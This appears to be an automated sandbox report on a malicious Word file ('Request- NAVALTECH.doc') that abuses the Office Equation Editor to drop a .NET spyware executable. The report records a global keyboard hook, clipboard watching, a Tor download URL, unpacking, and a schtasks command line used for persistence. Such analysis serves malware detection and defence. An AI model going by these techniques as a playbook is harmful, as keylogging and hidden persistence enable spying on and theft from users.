Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.comsign.co.il/cps0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.crc.bg0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: believeoaid.exe, 00000007.00000003.2223244158.00000000065E1000.00000004.00000001.sdmp	String found in binary or memory: http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca/crl/ca_disig.crl0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca0f
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.dnie.es/dpc0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-certchile.cl/html/productos/download/CPSv1.7.pdf01
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-me.lv/repository0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crl
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/SZSZ/0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-trust.be/CPS/QNcerts
Source: believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.entrust.net/CRL/Client1.crl0
Source: believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	String found in binary or memory: http://www.entrust.net/CRL/net1.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.firmaprofesional.com0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0=
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0%
Source: believeoaid.exe, 00000007.00000003.2223267885.0000000006604000.00000004.00000001.sdmp	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.post.trust.ie/reposit/cps.html0
Source: believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	String found in binary or memory: http://www.registradores.org/scr/normativa/cp_f2.htm0
Source: believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/current.crl0
Source: believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/de/directory/cps.html0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://www.ssc.lt/cps03
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl
Source: believeoaid.exe, 00000007.00000003.2223267885.0000000006604000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/guidelines0
Source: believeoaid.exe, 00000007.00000003.2223244158.00000000065E1000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.com/1
Source: believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/seccli/repository/CPS0
Source: believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: believeoaid.exe, 00000007.00000002.2397569912.0000000002724000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: https://www.netlock.net/docs
Source: believeoaid.exe	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to register a low level keyboard hook

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Code function: 7_2_00733CEC SetWindowsHookExW 0000000D,00000000,?,?

7_2_00733CEC

Installs a global keyboard hook

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\believeoaid.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 7.2.believeoaid.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b33E20630u002d515Fu002d415Au002d89D7u002d9B5B9FA3ED00u007d/u0034740EFF6u002dC110u002d46D5u002dA998u002d2961A8B0F0E9.cs

Large array initialization: .cctor: array initializer size 11940

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\believeoaid.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\KlalU0GjxacVNEE[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_00DD77E7	4_2_00DD77E7
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_00DDA6BD	4_2_00DDA6BD
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F1CE0	4_2_001F1CE0
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F9D68	4_2_001F9D68
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F3800	4_2_001F3800
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F3A50	4_2_001F3A50
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F3A40	4_2_001F3A40
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F638B	4_2_001F638B
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001FC430	4_2_001FC430
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001FC440	4_2_001FC440
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F1CD0	4_2_001F1CD0
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F9D58	4_2_001F9D58
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001F37F0	4_2_001F37F0
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00DD77E7	7_2_00DD77E7
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00DDA6BD	7_2_00DDA6BD
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00405690	7_2_00405690
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00402296	7_2_00402296
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_002E5338	7_2_002E5338
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_002E6350	7_2_002E6350
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_002E208F	7_2_002E208F
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_002E5680	7_2_002E5680
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_0073C250	7_2_0073C250
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00730048	7_2_00730048
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00733420	7_2_00733420
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_0073BCD0	7_2_0073BCD0
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00733092	7_2_00733092
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_0073AF18	7_2_0073AF18
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00737A00	7_2_00737A00
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_0073DCE0	7_2_0073DCE0

Source: KlalU0GjxacVNEE[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fjctND.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: KlalU0GjxacVNEE[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: fjctND.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 7.2.believeoaid.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 7.2.believeoaid.exe.400000.0.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@11/2

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$quest- NAVALTECH.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Mutant created: \Sessions\1\BaseNamedObjects\dDWACZXNWijcVVXCr

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC3AC.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe

Console Write: ................@.......................(.P.....X.......d.......t........v......................................................................

Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\believeoaid.exe C:\Users\user\AppData\Roaming\believeoaid.exe
Source: unknown	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\believeoaid.exe C:\Users\user\AppData\Roaming\believeoaid.exe
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\believeoaid.exe C:\Users\user\AppData\Roaming\believeoaid.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process created: C:\Users\user\AppData\Roaming\believeoaid.exe C:\Users\user\AppData\Roaming\believeoaid.exe	Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: Request- NAVALTECH.doc

Static file information: File size 1625905 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: KlalU0GjxacVNEE[1].exe.2.dr, ITypeComp.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: fjctND.exe.4.dr, ITypeComp.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.believeoaid.exe.dd0000.1.unpack, ITypeComp.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.believeoaid.exe.dd0000.0.unpack, ITypeComp.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 7.0.believeoaid.exe.dd0000.0.unpack, ITypeComp.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 7.2.believeoaid.exe.dd0000.1.unpack, ITypeComp.cs	.Net Code: .ctor System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_00DD561E push 00000000h; iretd	4_2_00DD5668
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4_2_001FA350 pushfd ; iretd	4_2_001FA351
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_00DD561E push 00000000h; iretd	7_2_00DD5668
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 7_2_002E13E2 pushfd ; iretd	7_2_002E13E9

Source: initial sample	Static PE information: section name: .text entropy: 7.72164303704
Source: initial sample	Static PE information: section name: .text entropy: 7.72164303704

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\believeoaid.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\KlalU0GjxacVNEE[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File created: C:\Users\user\AppData\Roaming\fjctND.exe	Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: unknown

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp'

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
